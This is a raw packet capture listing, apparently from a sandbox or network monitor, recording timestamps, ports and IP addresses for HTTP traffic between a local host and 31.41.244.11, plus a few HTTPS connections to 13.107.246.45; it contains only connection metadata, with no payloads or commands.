Nov 20, 2024 04:08:10.399382114 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.399382114 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.399386883 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.399405003 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.399408102 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.399420977 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.399422884 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.399442911 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.399442911 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.399467945 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.399487972 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.399749041 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.399765015 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.399790049 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.399801970 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.399802923 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.399805069 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.399821997 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.399827003 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.399838924 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.399842978 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.399857044 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.399866104 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.399873972 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.399892092 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.399893045 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.399900913 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.399928093 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.399939060 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.399951935 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.399970055 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.399971008 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.399971962 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.399993896 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.399996042 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.400010109 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.400012016 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.400028944 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.400039911 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.400044918 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.400067091 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.400067091 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.400085926 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.400245905 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.400262117 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.400276899 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.400296926 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.400298119 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.400301933 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.400317907 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.400320053 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.400336027 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.400352955 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.400360107 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.400360107 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.400367022 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.400382042 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.400405884 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.400405884 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.400624037 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.400672913 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.400733948 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.400748014 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.400772095 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.400789022 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.400789022 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.400789022 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.400818110 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.400821924 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.400835991 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.400840998 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.400852919 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.400861025 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.400887012 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.400887012 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.400923014 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.400938988 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.400954008 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.400971889 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.400998116 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.400998116 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.401002884 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.401020050 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.401036024 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.401051998 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.401057959 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.401057959 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.401082993 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.401083946 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.437498093 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.437515020 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.437530994 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.437546015 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.437556982 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.437562943 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.437580109 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.437580109 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.437597036 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.437597036 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.437618971 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.437638998 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.446276903 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.446304083 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.446319103 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.446360111 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.446393967 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.446429014 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.446449995 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.446475029 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.446476936 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.446496964 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.446501017 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.446515083 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.446525097 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.446543932 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.446546078 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.446563959 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.446564913 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.446582079 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.446595907 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.446595907 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.446607113 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.446615934 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.446624041 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.446641922 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.446654081 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.446655989 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.446670055 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.446681976 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.446681976 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.446686983 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.446702003 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.446702957 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.446722031 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.446727037 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.446727037 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.446737051 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.446748018 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.446754932 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.446764946 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.446772099 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.446789026 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.446789980 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.446789980 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.446813107 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.446827888 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.472372055 CET	443	62436	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.472510099 CET	443	62436	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.472568035 CET	62436	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.479382992 CET	62436	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.479382992 CET	62436	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.479417086 CET	443	62436	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.479441881 CET	443	62436	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.486288071 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.486304045 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.486329079 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.486345053 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.486368895 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.486370087 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.486370087 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.486383915 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.486399889 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.486403942 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.486439943 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.486439943 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.486630917 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.486648083 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.486663103 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.486679077 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.486701012 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.486707926 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.486725092 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.486740112 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.486749887 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.486749887 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.486757994 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.486773014 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.486789942 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.486809015 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.487077951 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.487095118 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.487111092 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.487129927 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.487135887 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.487157106 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.487157106 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.487157106 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.487179995 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.487194061 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.487196922 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.487215042 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.487231970 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.487246037 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.487255096 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.487268925 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.487268925 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.487272978 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.487289906 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.487304926 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.487309933 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.487330914 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.487349033 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.487354994 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.487354994 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.487354994 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.487384081 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.487399101 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.487399101 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.487411976 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.487425089 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.487428904 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.487447977 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.487462997 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.487463951 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.487463951 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.487479925 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.487487078 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.487497091 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.487514973 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.487514973 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.487546921 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.487552881 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.487560987 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.487579107 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.487591028 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.487611055 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.487629890 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.487657070 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.487673044 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.487689972 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.487704992 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.487704992 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.487720966 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.487731934 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.487731934 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.487756968 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.487756968 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.488143921 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.488162041 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.488178015 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.488193989 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.488229036 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.488229036 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.488260031 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.488276005 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.488291979 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.488306999 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.488308907 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.488336086 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.488336086 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.488343954 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.488356113 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.488358974 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.488393068 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.488398075 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.488398075 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.488420010 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.488432884 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.488435030 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.488454103 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.488468885 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.488472939 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.488485098 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.488498926 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.488498926 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.488508940 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.488518953 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.488526106 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.488543034 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.488543034 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.488552094 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.488563061 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.488570929 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.488586903 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.488604069 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.488609076 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.488609076 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.488619089 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.488656998 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.488656998 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.488656998 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.488745928 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.488778114 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.488792896 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.488796949 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.488817930 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.488837957 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.488883972 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.488900900 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.488915920 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.488931894 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.488934040 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.488962889 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.488962889 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.488993883 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.489200115 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.489213943 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.489229918 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.489250898 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.489255905 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.489278078 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.489288092 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.489304066 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.489320040 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.489335060 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.489336014 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.489353895 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.489358902 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.489358902 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.489383936 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.489408016 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.489559889 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.489577055 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.489593029 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.489615917 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.489615917 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.489615917 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.489635944 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.489636898 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.489653111 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.489658117 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.489671946 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.489677906 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.489686012 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.489697933 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.489723921 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.489723921 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.490933895 CET	443	62437	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.490953922 CET	443	62437	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.490998030 CET	62437	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.491010904 CET	443	62437	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.491087914 CET	443	62437	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.491132975 CET	62437	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.494395018 CET	62437	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.494409084 CET	443	62437	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.494426012 CET	62437	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.494432926 CET	443	62437	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.503293037 CET	443	62438	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.510268927 CET	62441	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.510320902 CET	443	62441	13.107.246.45	192.168.2.4
